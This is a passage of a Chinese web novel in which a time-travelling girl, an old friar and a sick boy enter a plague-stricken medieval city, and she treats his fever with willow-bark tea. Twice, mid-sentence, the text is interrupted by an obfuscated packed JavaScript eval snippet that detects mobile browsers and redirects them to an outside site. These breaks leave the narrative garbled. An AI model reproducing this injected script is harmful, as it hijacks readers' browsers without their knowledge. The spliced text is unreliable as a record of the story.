老人自顾自笑了一阵,这才眯着眼看向身边的女孩:“即使他后来被众人尊重,成立了那图拉会,成为被教廷公开承认的圣人,依然有人认为他向动物传教只是个笑话。” “可那又有什么关系呢?他从来不在乎这些。” 灰袍修士笑着叹息道:“普通人也好,异类也罢,这都不是他成为圣人的原因。他会成为圣人,是因为他一直走在正确的道路上。” “…………” “那正确的道路,又是什么?” 菲丽丝看着他的眼睛,冲动突然突破了理智,脱口而出道:“谁来决定‘正确’的标准,是律法还是教皇?” 女孩的声音不大,却带着一股咄咄逼人的火药味。 说出来的瞬间,刚刚还在吸冷气的弗朗西斯科完全不敢吱声了,只瞪大了一双眼睛来回看着眼前的两人。 可出乎他意料的,听到这堪称“质问”的话语,穿着灰袍的老人既没有生气也没有立刻给出答案,反而垂着眼皮认真思考起来。 “你出了个难题,我的孩子。”老人思考片刻,摇头道,“虽然我应该支持教皇冕下,但我想,圣那图拉的‘正确’并不完全局限在这两者之中。” “它在这里,也在这里。” 他指了指自己的胸口,又指了指女孩的胸口,缓缓说道:“在每个人心里,都有一个关于‘正确’的答案。但圣那图拉是个特别的人,因为他走到了每个人心中‘正确’的交点,所以他值得被人们真心敬仰,也在最终得到了教廷的承认。” 菲丽丝张张嘴。 “……那你呢?” 她听到自己说道:“你坚持这样的生活,帮助他人,是也想成为圣那图拉那样的圣人吗?” 老人再次笑起来,只是那笑声中带上了些菲丽丝听不懂的东西。 “圣人是生者给予亡者的荣耀。我死后别人如何评价我,那是别人的事,对现在的我来说无关紧要。”他再次摸了摸女孩的发顶,温和道,“但我确实想要像圣那图拉那样,能始终走在正确的道路上,直到回归吾主怀抱的那一天。” 菲丽丝定定看着他的眼睛半晌,轻轻“嗯”了一声便低头陷入沉思。 也是因此,她错过了身边少年眼中一闪而过的情绪。 21.灰袍修士8 021 作为中世纪的边缘人物,麻风病人的遭遇无疑是令人怜悯的。 尤其是现在,在普通人都朝不保夕的时候,他们的处境必然会变得更加艰难。 不过那位麻风病人的出现倒是给了菲丽丝一个预示。 在普通乡镇,比如弗朗西斯科所在的镇子,连当地神父都因为瘟疫抛弃自己的教区逃走了,村民们更是为了保护自己家家门窗紧闭……在这种情况下,麻风病人这种只能靠乞讨存活的边缘人物也该是最早死去的一批人。 可现在他们见到了一个活的——虽然状态堪忧,但比起一路上看到的众多尸体终究还是个能喘气的人——这是否能说明,他们很快就要抵达一个规模较大的城市了? 很快,这点猜测就被渐渐出现在视野中的城墙印证。 关于这座看上去与阿斯卡和维利斯规模差不多的城市,直到看到它本身,菲丽丝都没能确定它到底叫什么名字,更不要说以此确定现在具体所在的位置。 主要是她在现代都背不出十个意图恩诺境内的城市名,更不要说这个几百年前的世界还会出现一座城市会有好几个名字的情况。 就像眼前这座城市。商队里有人称呼它为“波诺尼亚”,也有人说是“费尔斯纳”,菲丽丝是反应了好一阵才弄明白这两个名字说的是同一座城市。 鉴于她对这些流水般的名字没有任何敏感度和记忆点,菲丽丝干脆在心里给它取了个绰号——学者城——以此纪念它在派勒乌索教授口中那“意图恩诺半岛上第一所大学出生地”的崇高身份。 与阿斯卡和维利斯一样,学者城也是一座在此时比较罕见的、拥有不少石质城墙的大城市。 可与议会和大小家族联合统治的共和国不同,这座城市属于教皇领地。也就是说这里没有世俗的贵族,最上层的管理者全都来自教廷,教皇冕下则同时拥有此地的最高宗教和政治统治权。 换句话说,这座“学者城”虽然距离南边的教皇国有一定距离且并不与之接壤,但也是教皇国的一部分。 这不是一个孤例。 事实上,有很多类似学者城的城邦或地区都印着教廷的名字却分散在各处,彼此不接壤且距离都不算近,有些城邦的位置还在某些世俗贵族的领地之内。 也是在这个时候菲丽丝才知道,原来这个时期一个国家的领地并不全都像后世的地图那样,一块完整的、有着同一颜色的形状就能代表一个国家。 “领土分布在大陆各地”的情况不只出现在教皇国,因为通婚和一些其他历史原因,很多世俗贵族的领地也无法连成片,零零散散都是常态。 “……这没什么稀奇的。别说那些伯爵公爵大人,就连马黎的国王不也在罗兰有块地——” 正在马背上侃侃而谈的年轻人被走在前面的叔叔瞪了眼,总算收住了上扬的话音,突兀地转开话头:“还有拿法的女王,她名下的领地包括她亡夫的梅迪奥伯爵领。那地方可离拿法相当远,都隔着大半个罗兰了……” “那可不止,拿法女王的领地没那么少。要知道她本该成为整个罗兰的女王!”另一名商队成员跟着插话道,“虽然最后没能继承王位,但她父母留下的领地绝不算少。” “不是说她是个私生女?她母亲和骑士私通,连王后都没当上就被处决了……” “没有处决,只是在被软禁时病逝了……而且拿法女王可不是什么私生女,勒卢易十世在世时就承认她是自己的女儿,不然她还能当上拿法女王?” “那又如何?罗兰王室都换人了,只要现在的罗兰王不松口,她就什么都得不到。” 一人嗤笑道:“坎普斯面积那么大,又处于整个罗兰王国的腹地,罗兰王是脑子有病才会把它们交给上个王朝的公主!” “不是说那个老家伙早就用别的领地跟她交换了?” “你说岸古莱?那屁大点的地方比坎普斯小了十倍不止!拿法女王怎么可能甘心……” 人们八卦的话题一开始就打不住了。 从罗兰王国前王朝的公主如何被两个亲叔叔加一个堂叔连番欺负夺权,继而讲到罗兰的前几任国王有多么不争气,连续三个兄弟轮流做了遍国王愣是连一个儿子都没生出来,最后白白便宜了旁支家族得了王位云云。 菲丽丝一开始还在认真聆听,试图从中获得更多关于这个时代的信息,尤其是希望能听到一些自己知道的事件。 由于她没系统性学过旧大陆的历史,虽然凭借现代文娱经验依稀记着一些大事件,可那些事件在脑子里都是独立的,从来没有连成片过……就像现在,她知道自己处于黑死病爆发的前期,但同时期的旧大陆上正发生什么,菲丽丝是真的没有一点概念。 她需要一个锚点,一个能把脑中碎片串联起来的定位器。 罗兰王国作为旧大陆上的传统大国,其王室的八卦应该是个很好的切入点。 于是从商队的人说起时她就在努力倾听,就希望能听到哪怕一个熟悉的名字,好让她能稍微抓住一点历史的走向。 然而努力聆听的结果就是……她还是什么都没听明白。 菲丽丝觉得这实在不能怪自己。 先不说那些又长又没有记忆点的地名,主要是西陆上这些贵族的名字,重名率也太高了。 什么路易、查理、菲利普,安娜,让娜,玛丽安……所有人都是这几个名字来回倒,加上一堆听都没听过的地名,连成串的名字从她左耳朵进、右耳朵出,流水般从她的大脑皮质上淌过时简直不留一丝痕迹,听得时间长了甚至有了催眠的效果。 不过,连续三个国王没生出男孩导致王朝绝嗣,王位落到旁支手里什么的[*1]……菲丽丝除了感到好笑之余又觉得隐隐有些熟悉。可真要去想,她确实想不到具体的关联事件。 没办法,作为旧大陆上历史悠久的传统大国,罗兰王室里的八卦跟它的寿命一样长。这不是其中最荒唐的,也不是最知名的。 而且,绝嗣后家产被远房亲戚继承这种事在旧大陆上可谓层出不穷。别说无数的小说情节,直到现代还有类似的情况在现实出现,她对此感到熟悉也并不奇怪…… “喂……喂!” “菲利斯?你在听吗?” 一只手突然伸到自己眼前晃了晃,菲丽丝猛然回神,这才发现马车已经停在城墙下,两支商队领头正在前方登记交入城税。 坐在一旁的弗朗西斯科见她终于看过来,收回手的同时又有些无奈:“你在想什么呢?我喊你好几次都没反应。” “抱歉,我有些困了。”菲丽丝揉揉有些干涩的眼睛,打起精神重新抬起头,“你刚才在说什么?” “我是说,等会儿进城后安东尼奥先生他们要去一趟市场,你要不要一起过去逛逛……” 打量着小孩有些困倦的神色,少年最后摇摇头:“现在看还是算了,等找到旅店你先睡觉吧。” 闻言,菲丽丝却是站了起来,伸长脖子往四周看了一圈。 他们这几天并不是没路过其他城镇,不过这座“学者城”是目前为止唯一在城墙规模上能与维利斯匹敌的。 而在其他方面,它也与维利斯差不多——比如往城外运送的尸体数量。 有时候菲丽丝会觉得人的适应力真是既强大又可怕。 在维利斯时还会因为尸体干呕的她,现在看到相似的运尸人路过也可以很淡定地收回视线,不自觉地忽略掉那些古怪的气味,仿佛那些人手中推着的跟商队马车上的货物没什么区别…… 短短几天,弗朗西斯科眼中的麻木便已经转移到她的眼里了。 “…………” “都这样了,市场还会开放吗?” 暂时屏蔽掉那种莫名的情绪,菲丽丝重新坐回板车上,小声问道。 “……是活人就总要吃饭。” 少年的声音在此时显得有些冷淡,轻飘飘道:“尤其是城里,没人会囤超过两个月的粮食。要是没有市场,就算没有瘟疫也要饿死了。” 这倒是,很有道理。 菲丽丝一方面很好奇这时候的市场究竟是什么样,一方面又因为求生欲对去人多的地方比较排斥。 不过正式进入城门后,这点犹豫便立刻被打消了。 这是在离开阿斯卡后,菲丽丝第一次真正进入一座大城市的内城。 瘟疫没有因为这座城市浓厚的学术氛围而放过它。 即使马车驶入城市的主街,除了那些正在街边清理尸体的运尸人,他们一路上看到的活人用两只手都能数过来。 而比起人,城市本身的状态更加堪忧。 尤其是街道上散发出的味道,即使他们此时身处的并非皮匠街,那股难描述的恶臭也时时刻刻提醒着他们,此时车轮上沾着的黑色黏稠物可不仅仅是污泥那么简单。 坚持一段路后,菲丽丝终于放弃用憋气做抵抗,快速翻出一条布巾,用水囊中的水打湿后将其系在自己脸上。 弄完后她想了想,也给身边的老修士弄了一条。 同样坐在马车上的弗朗西斯科也被这糟糕的城市环境震惊了。刚想说些什么,却被吸入的一口臭气呛到流出眼泪。 见身边的小孩一番操作后脸色明显好转,他也赶紧如法炮制地将湿手帕系到脸上,这才终于长长舒出一口气。 “吾主在上……我还是第一次看到这么脏的城市……”少年的身体微微靠向菲丽丝,小声抱怨道,“过去我经常听人说波诺尼亚人建造的高塔有多么高耸壮观,可他们从没说过这里这么脏啊!” “……那是因为这里过去不脏!” 飘在一旁、刚刚从震撼中回过神的派勒乌索教授立刻反驳道:“我几年前还来过这里,街道跟阿斯卡一样干净,根本不是这样!” 菲丽丝微微点头,视线扫过偶尔会出现在街道两侧的尸体和明显数量不够的收尸人,大概也清楚是怎么回事了。 在没有地下排水系统的城市里,居民们解决个人问题的场所一直是个难题。 有的会像菲丽丝在阿斯卡的那个家一样,在靠近小巷的那面墙掏出一个小房间做卫生间,马桶下则正对着小巷边缘的露天排污槽。 没有条件造卫生间的人家日常也会把攒了一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572971|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的污物倒进这些排污槽,而这些积攒起来的污物每天晚上会有专门的人收集并运出城,倒入附近的河流或遗弃在野地。 可看看眼前这座城市的现状,连尸体都没办法及时清理,指望会有人像平时那样清理街上的污物简直是天方夜谭。 时间长了,污物从小巷中的排污槽溢到大街上,最后蔓延到整个城市……如果阿斯卡的城市委员会也因为瘟疫崩溃了,菲丽丝相信此时的阿斯卡不会比这里好到哪儿去。 她本以为领教过这种“臭气攻击”,弗朗西斯科应该就不会想去市场转悠了。 然而她还是低估了少年的决心。即使已经被熏到开始干呕,等他们一行人找到旅馆落脚后,少年还是坚持要去市场一趟。 菲丽丝不是很明白他如此坚持的原因,但还是尊重了他人的决定,目送对方与商队的人离开。 今天的天色不太好。 从进城开始,一层薄云就慢慢遮掩住蓝天,终结了连续近半个月的晴天。 直到阳光完全被阴云遮住,商队一行人总算带着新换的补给回来,弗朗西斯科却蔫蔫地跟在队伍最后,明显与大部队隔着一段距离。 菲丽丝从房间的窗户看到他们,原本打算下楼打招呼,却见他刚进旅馆就飞跑进后院,只留下同行的其他人在一旁哈哈大笑。 “你的朋友可是倒了大霉啊,小家伙!” 见菲丽丝从二楼走下来,一位脸熟的年轻人朝着她的方向喊道:“我们一起从市场回来都好好的,就他被人泼了一桶的屎!你要找他玩可要等到明天了!” 那可真是……倒霉透顶。 菲丽丝有些无言地瞥了眼这群还在具体描述“精彩瞬间”的青年,抿抿唇,还是快步往旅店的后院走去。 可她还是晚了一步。 等她找到弗朗西斯科时,少年早已把上衣脱干净,直接一桶水从上浇到下,把身上大致冲干净后便开始洗头。 “别用凉水洗澡!” 菲丽丝急忙上前想要拉人,却被对方避开,有些着急道:“你等我给你接点热水,你这样会生病——” “别别……你等等!” 弗朗西斯科赶紧甩了下手,手指勾住小孩身后的兜帽把人拽回来:“你当热水是说有就有啊?你都不知道现在外面的柴火多贵!” 菲丽丝本想说她有钱,但她还谨记着出门在外不能露财的道理,话说出口前转了个弯:“也不要那么多热水,你用温水洗也行啊。一点热水也花不了太多钱……” “这不是钱的问题。现在柴火不但贵还少,市场上花再多钱也买不到多少,谁会这么浪费专门烧热水用来洗澡?而且我以前都是在河里洗,大家都这样……” 少年见她还想说话,赶紧回身拿起什么:“对了,既然你来了这个现在就给你吧。” 菲丽丝只感觉有两个湿漉漉的东西被塞进手里,低头一看,居然是一个水囊和一个小陀螺。 “还好我选了陀螺而不是风车,不然就要白花钱了……”少年一边嘟囔一边把东西往她手里塞,“这东西你应该会玩吧?要不要我教你?” 菲丽丝愣了下,立刻就想要推拒:“这个是你花钱买的?我不能要……” “怎么就不能要?你当初帮了我那么大一个忙,一个玩具不算什么……而且又不全是给你的,记得把它拿给萨瓦托雷修士。” 少年撸了把湿漉漉的头发,伸手点点另一个水囊:“我知道像他那样虔诚的灰袍修士都不能有私产,可他年纪已经那么大了,又常年在外面行走,总不能没个喝水的东西……” 菲丽丝看看水囊,又看看少年有些不自在的表情:“你不会是为了买这些,才坚持要去市场?” “哎呀,这些都是顺带……我主要是想看看这边的市场上会卖些什么……” 弗朗西斯科偏头打了个喷嚏,揉了两下鼻子,直到鼻头都被他揉红才向面前小孩的摆摆手:“好了,快回去吧。你也不怕沾上这味……” 菲丽丝能感受到自己是被当成小孩哄了,可也明白自己肯定劝不动对方,最后也只能拿着陀螺和水囊一步三回头地往回走。 她很希望自己是在多管闲事……可…… “教授,你能帮我一个忙吗?” 菲丽丝看了看手里的东西,快步转到楼梯的拐角,趁四周无人时对一直飘在旁边的幽灵指指楼下:“你帮我看着他,尤其是晚上。” 派勒乌索教授不是很能理解她这份担忧,但还是答应了。 反正他每到晚上都会礼貌退出女士睡觉的房间,弗朗西斯科是同性,他并不排斥与之在同一个房间过夜。 做完小小的安排,菲丽丝便捏着那只鹿膀胱做的水囊回到二楼,将其交给萨瓦托雷修士。 两人简单用完晚餐,难得认真跟着修士做完睡前祷,她便钻进薄被中闭上眼。 然而事情似乎就是这样,越是被在意的厄运越容易降临。 第二天一睁开眼,菲丽丝就从派勒乌索教授那里得知了一个坏消息。 弗朗西斯科从昨天半夜起就开始咳嗽,现在体温已经高到起不了床了。 22.灰袍修士9 022 现在可不是发烧的好时候。 经过一段时间的酝酿,这场瘟疫已经向所有人展现出自己的威力——那些堆积在外面的尸体就是明证,没有人会在看到那么多死人后还能保持绝对的冷静。 即使菲丽丝知道鼠疫一般有两到三天的潜伏期,而弗朗西斯科前几天一直跟商队的人在一起,现在只有他一个人发烧的话大概率只是得了一场普通的感冒……但此时此刻,他突然病倒只会勾起所有人内心的恐慌。 隔着口袋捏了下那只不大的陀螺,菲丽丝深吸一口气,下定决心向下走去。 果不其然,当菲丽丝匆匆赶到一楼的房间时,正好听到半掩的房门中传来几人的说话声。 “……我们该去找个医生……” “现实点吧,你看看现在外面哪还有医生……就算还有活着的医生,那要花多少钱才能把他们请出家门?你要为他出这个诊金吗?他给我们的那点路费里可不包含这个!” “那、那也不能直接把人扔在这里,他也不一定是……” “吾主在上,安德烈亚!这时候你倒是有多余的善心了!” 其中一道声音忽地拔高,继而很快压下,又急又快地说道:“商队里不止有你一人,你是想让我们所有人为他送命吗?!” 激动的声音越来越近。不等菲丽丝反应过来,一只手已经拉开房门。 为首的商队领头看上去很焦虑,眉头勾勒出两道极深的纹路,跟在他身后的两个年轻人也差不多如此。 他们路过菲丽丝时完全没给这个站在门口的小孩一个眼神,只各自想着各自的事,步子迈得很大,眼看着就要消失在走廊…… “那个……马力诺先生。” 身后传来一道相当稚嫩的声音,商队领头皱了下眉,转身看去,却有些意外地看到一个不算熟悉的面孔。 这个小孩他记得,是与灰袍修士同行的那个。 不过比起萨瓦托雷修士,他一路上几乎对这个小孩没有任何印象。 只记得他是乔瓦尼大师好友的孩子,离开阿斯卡的第一天就被面包磕掉了门牙……大概也是这个原因,他一路上话很少,几乎与商队中的其他人没有任何交流,估计队伍里都没几个人记得他的名字。 相比起来,前几天才开始搭“顺风车”的弗朗西斯科可比他有存在感多了。 “我记得你叫菲利斯,阿斯卡的菲利希奥?” 看在灰袍修士和乔瓦尼大师的面子上,商队领头终是停下脚步,耐心询问道:“这么早下来是有什么事吗?” 菲丽丝其实也没完全想好说辞,但男人脸上显然没有多少耐心,便直接指向身侧的门:“弗朗西斯科是不是生病了?” 见三个男人都面露惊讶,她立刻狠狠叹口气:“果然是病了呀!我昨天就跟他说了,晚上还很冷,他直接用冷水洗澡肯定会感冒,但他就是不听……现在可要遭罪了!” 这段话又长又刻意,有着十分浓重的表演味道。 不过因为她的年纪摆在那里,那张无辜的小脸还是把做作的强调冲淡不少。 毕竟还是个孩子,一般人的潜意识里不会觉得一个七八岁的孩子能对着大人耍什么心机。 站在男人身后的安东尼奥听后立刻双眼一亮,忍不住继续向自己的叔叔哀求:“对啊,说不定就是普通的感冒,也许养两天就好了,本来我们的计划不就是在这里休整两天吗……” “现在你又是医生了?”商队领头忍不住咋舌,板正脸道,“之前是之前,现在是现在。要是他真染上瘟疫,我们跟他多待一刻都是在冒险!” 眼看着那年轻人又蔫下去,菲丽丝忍不住再次开口:“你们为什么会觉得他染上了瘟疫?他身上出现那些可怕的黑疮了吗?” “那倒没有……”男人犹豫地嘟囔一句,下一秒又立刻皱起眉,“不过那黑疮很多是后期才会出现,一开始发病时没有也很正常……” “那你们可以查查他身上有没有疙瘩,尤其是腋窝和大腿内侧。如果他真的染上瘟疫,现在身体都开始发热了,那至少会起一些疹子,会胸痛,会吐痰带血,舌头和喉咙会变黑……症状不会只是发烧。”菲丽丝指了下自己身体的几个部位,继续说道,“当然,也有人除了高烧没有其他症状,但这样的人基本在发病的几个小时内就会死。他是什么时候开始发烧的?跟他同屋的人应该知道吧?” 这次她的话显然更加有条理,也许有些过于有条理了,以至于对面的三个成年人都愣住了。 “……这些,你都是从哪儿知道的?” 沉默半晌,那商队领头才率先发声:“你说的都是真的吗?你怎么知道得这么清楚?” 这个理由菲丽丝倒是早就想好了。然而话还没说出口,另一道声音已经代替她说了出来。 “我在瑞纳修道院曾照顾过一位染病的修士。那位修士在生病前也曾照顾过不少染上瘟疫的病人,这些都是他总结出的经验,我觉得值得信任……” 灰袍修士一步步从二楼走下,伸手在女孩的肩膀轻拍一下,这才看向对面的三人。 “我知道您的顾虑,马力诺先生,但那也是一条人命。”萨瓦托雷修士说道,“至少让我去看看。如果他真染上了瘟疫,我会在那间房中照顾他。如果不是,也请您多给他两天时间,让他有机会恢复健康,可以吗?” “…………” “既然您都这么说了……” 男人纠结半晌,终究无奈叹口气:“不过这件事我要跟福琼先生商量一下。我的队伍我可以做主,他的话就不一定了……” “感谢您的善良,愿吾主保佑您。”灰袍修士微眯着眼看向窗外的乌云,等到一阵鸟鸣声停歇下来后才继续道,“就算没有这件事,我也不建议您在今天出发。外面很快就要下一场暴雨,如果您和福琼先生不想让货物被淋湿,最好等雨停后再出发。” “哦,当然。我会转告他的……” ………… 就……这么解决了? 看着三个男人离去的背影,还有一肚子说辞没能说出的菲丽丝依然有些惊讶,眼角余光不住瞟向身旁的老修士。 虽然她对他的“特别”有了点模糊的猜想,但就这么短短几句话让原本态度坚决的人做出让步……此时此刻,菲丽丝只有打心底感到庆幸,庆幸他确实是个善良的人,不然…… “咳咳咳…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578494|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 不等思绪深挖下去,一旁的木门已经打开,一阵咳嗽声后是一阵明显不正常的喘息声。 现在还不是放松的时候。 菲丽丝拿出手帕捂住口鼻,匆匆踏进屋内。 此时这间房中除了他们三人已经没有其他人。 弗朗西斯科躺在靠窗的一张床上。借着从窗外透进来的昏暗天光,站在门口的菲丽丝能勉强看清他紧闭的双眼和通红的面颊。 萨瓦托雷修士已经坐到床边,撸起少年的衣服做检查。 而早在老修士借着不甚明亮的光线检查完毕前,身为幽灵的派勒乌索教授已经率先得出结论。 “他身上确实没有起什么疙瘩或黑疮……”幽灵飘回到菲丽丝身边,叹息道,“不过就算没有染上瘟疫,再不把体温降下来也很难说啊……” 另一边,萨瓦托雷修士明显也得出了相同的结论,一边叹气一边将少年的衣服整理好。 就在他准备起身说些什么时,那原本一动不动的少年却突然抓住了他的手臂。 “……我求您咳……不要丢下我……” “我还有钱咳咳……我还有钱……求您帮我……” 少年双眼还紧闭着,似乎并没有醒,只有嘴里还在不断重复着仿如梦话的呓语。 “我还有钱……我还有钱……求您帮帮我……”他呜咽着,不知是汗水还是泪水的水滴从眼角顺着面颊流下,吐出的话也变得更加模糊,“不要走……求您不要走…………妈妈……” “好孩子,我不会走。” 佝偻着脊背的灰袍修士重新坐回床边,一只手轻柔抚摸着他汗湿的额头:“别担心,你会没事的……” 也许是他的声音太柔和,躺床上的少年慢慢平静下来,再次陷入昏睡,可那只手却十分固执地牢牢抓着修士的袖子不愿松开。 “……抱歉,孩子,还要麻烦你帮我个忙。” 萨瓦托雷修士看了眼自己被抓住的袖子,无奈抬头看向菲丽丝:“能帮我去找旅店老板要桶水吗?我必须尽快给他擦擦身子。” “当然。” 菲丽丝毫不犹豫地答应下来。 不过她没有在第一时间去找旅店老板,而是先找到一个僻静的角落四处看了一圈,勾勾手指将自己的随身幽灵叫到面前。 “你知道有什么药能退烧吗?”她小声询问道,“这么大个城市总该有卖药的吧?” 就算现在很难找到医生,吃点退烧药应该也能抢救一下。 菲丽丝印象里自己生病发烧也就是吃药加卧床休息,一般的感冒不到一天就会退烧。遇到严重情况,去医院打个退烧针也就好了。 可问题是,她完全不知道现代退烧针里都有什么成分,就算知道她现在也搓不出来……只希望身边这个“百科全书”能说出点靠谱的中世纪退烧疗法。 “药剂店倒是有,昨天路过时我就看到了,不过我没听说有什么药能退烧啊?” 见女孩的表情垮下来,派勒乌索教授赶紧提出了自己的专业建议:“他这种情况吃药没用。如果他不是染上瘟疫,那应该是体|液失衡引发的发热,实在找不到医生的话你可以找个剃头匠给他放血。” 23.灰袍修士10 023 乍然听到这个如此古老的治疗方法,菲丽丝一口气没上来,差点被自己的口水呛到。 她怎么就忘了,早就被现代人当成笑话讲的放血疗法才是这里治疗发热最普遍的方法…… 但她知道放血不好用啊! 不但不好用,失血过多还会死人呢! 眼看着面前的“百科全书”算是指望不上了,菲丽丝只能努力检索自己脑海里的知识。 物理降温也许有用,但直接用冷水擦身体应该也不好吧? 药的话,青霉素能消炎……但青霉素是用什么做的?发霉的橘子皮?但那也是提取物,就算她现在能找到橘子皮,干啃应该也没用吧? 菲丽丝揉了把脸,让自己冷静下来。 不,不能再想怎么制作现代的感冒药了。就凭自己那可悲的化学知识,都不是夸张说法,就算真给她八百年也弄不出现代那些药。 她现在需要的是一种还没被这个时代发现的、能够退热的药材,且这种药还是比较常见的,至少能在现在的药店买到…… 一个个听上去相当苛刻的条件筛选下来,却让菲丽丝眼前一亮。 她还真知道中世纪的药店有什么! 多亏了她那喜欢吹毛求疵的前老板,她不但知道,还画过其中好几种药材的插图! 虽然其中大部分的药都被证实有毒素,在现代早就被更安全的药替代,但有一个…… 没有理会身边幽灵的呼唤,菲丽丝突然抬腿朝后院跑去。 不等她找到旅店老板,眼前率先出现了另一道年轻却颓丧的身影。 菲丽丝还记得这个年轻人——他叫安德烈亚,是商队领队的侄子,刚刚就是他提出他们该给发烧的弗朗西斯科请个医生…… 脚步在两条路线上犹豫一秒,她转而朝那个正在低头踢石子的青年走去。 “……安德烈亚先生?能请您帮个忙吗?” 见他看过来,菲丽丝睁大眼睛,努力做出可怜的表情。 “萨瓦托雷修士正在照顾弗朗西斯科,没法亲自过来……他托我来要一些热水,最好再买一些药材……”她有些局促地从怀里掏出几枚硬币递过去,小声道,“我、我身上只有这些,不知道够不够……” 安德烈亚与女孩可怜巴巴的眼神对视良久,最终叹了口气,接过她手中的硬币。 “说吧,需要什么药材?”他说道,“话说在前面啊,现在药剂店里估计没多少药了,香料就更不用提,我去了也不一定能买到。” “这是当然!” 听到他愿意帮忙出去跑腿,菲丽丝立刻感激地直点头,说出自己的需求:“我们想要一些柳树皮。” “柳树皮?” 安德烈亚紧皱的眉头都因诧异松开了:“要这个做什么?” “我也不知道,是萨瓦托雷修士说要的。”菲丽丝睁着一双无辜的大眼睛说道,“好像是把它弄碎,煮成水喝下就能退烧。” “是吗?我怎么没听过……” 青年带着疑惑咕哝了一句,最后还是收好钱,招手将人带到厨房。 有安德烈亚亲自提出要热水,旅店老板虽然有些心疼柴火,但还是在谈好价钱后答应了。 不过在发现青年没有留下盯着他烧水、反而只留下一个小孩时,旅店老板干脆没等水烧开,看着差不多就倒了半桶放到菲丽丝面前,不等她说话便干脆关上厨房门忙自己的事了。 菲丽丝:………… 就知道会这样。 看着面前的半桶水,她伸手在表面试了试温度,还算可以,就没有继续敲门跟老板理论,拎起水桶往回走。 “……柳树皮真有退热的功效?” 忍耐许久的派勒乌索教授终于说出了自己的疑问:“我知道它能止痛,主要在妇人分娩时会用到,从没听说它能退热……你是从哪里听说的?” 当然是中学的健康课。 虽然当年老师讲课为什么会提到这个她已经记不清了,但因为“阿司匹林是用柳树皮造出来”[*1]的故事实在很有趣,正巧她在家里见过写有“阿司匹林”的药盒,所以印象格外深刻。 直接喝柳树皮煮出来的水肯定没有吃药片那么有效,但既然它在中世纪已经被当作镇痛药使用,那至少也该有些退烧的作用…… 脑子里飞快闪过的思绪太多,随着外面传来一阵钟声,旅店中的声音也多了起来,菲丽丝干脆没有回答派勒乌索教授抛出的问题,咬着嘴唇憋着劲,一口气将水桶拎回房间。 发现她拎回来的水居然是温热的,萨瓦托雷修士明显有些惊讶。 不过他没有多问,开始给已经昏迷的少年擦身子。 尽管萨瓦托雷修士从没提到过自己的年龄,单看他的外表,菲丽丝觉得说他八十岁都有可能。 即使是在现代,八十岁的老人大多走路都不利索,力气就更不用说了。 而弗朗西斯科作为一个十三四岁、发育正常的少年已经有了一定体重和力气。也许是潜意识里感受到危机,即使陷入昏迷他也不是很老实,时而双手乱抓时而嘴里嘟囔着听不清的话。 一阵手忙脚乱,直到水桶中的水都变凉了,两人总算把人从头到尾擦了一遍。 也正在此时,门外传来一阵叩门声。 不等外面的人说什么,菲丽丝顾不得额头冒出的汗便率先跑过去开门,果然看到安德烈亚正一手端着碗,一手拿着一个布包站在门口,看到门突然打开还向后退了两步。 “叔父说你们现在应该不方便出去,我就先让旅店的人煮了一碗……等会儿我会再拿些食物和水放到门口。”他隔着些距离,面带尴尬地将手里的东西递给女孩,“要是还有什么需要,你们就在门口喊一声,我就在隔壁能听到。” 看着他努力伸直的手臂和躲避的眼神,菲丽丝立刻明白他和他叔父的担忧。 趋利避害是人的天性,菲丽丝并不想苛责什么……不如说,像他这样明知道有人可能得了瘟疫还愿意出手帮忙,已经足够勇敢了。 “感谢……愿吾主保佑我们所有人。” 想到也许他们也会相信眼神和对话能传染瘟疫,菲丽丝将到口边的道谢转了个弯,微垂着头向他颔首示意,转身关门回到屋内。 “这是安德烈亚先生送来的。” 不等老修士说话,菲丽丝已经把手中汤药的来源说出来了。 “我之前打水时遇到了他,他说想要帮忙,我就拜托他去一趟药剂店,想着可能能买到点用得上的药……”她小心观察着眼前人的表情,做出胆怯的模样,“对不起……我这样做是不是不好……” 萨瓦托雷修士坐在床头缓慢擦着汗,面带无奈地笑着摇头:“你不需要道歉,我的孩子,我知道你是出于善意才这么做,我只会感谢圣母给予了你如此珍贵的美德……我也该感谢安德烈亚先生,愿吾主保佑他,现在还能找到开门的药剂店一定不容易……” “不过,就算生病了也不能乱吃药。” 他这么说着,看过来的眼神愈加柔和,招招手示意菲丽丝上前:“来让我看看他都带回来了什么?” 然而,就算是见多识广的萨瓦托雷修士,在看到碗中的树皮后也难得沉默了一瞬。 只是他显然比飘在一旁的教授更有耐心,详细跟菲丽丝说了一些柳树皮作为药的特性,最后还是趁热将一整碗药汤都喂给躺在床上的少年。 “……这不是很对症的药,不过我猜现在药剂店中也不会有什么对症的药……”他苦笑一声,朝身边的女孩摇摇头,“现在只能看吾主的意愿了。” 很快,不大的房间中传出修士念诵经文的声音。 菲丽丝坐到另一张床上默默听着,很快便觉得无聊,转而看向窗外。 哒—— 突然,一滴水珠落到窗沿上。 紧接着是第二滴,第三滴……短短几分钟,原本只是细密的小雨变成了瓢泼大雨,且直到附近的钟声敲过第三次也没有停下的意思。 这么长时间过去,菲丽丝早就在幽灵教授的指导下学会如何用钟声分辨时间。 清晨的第一声钟响代表黎明,第二次钟响是在上午,被称作“第三个时辰”,第三次则是在中午,被称作“第六个时辰”,第四次在下午的“第九个时辰”,最后一次的晚祷钟则在太阳即将落山的“第十二个时辰”。 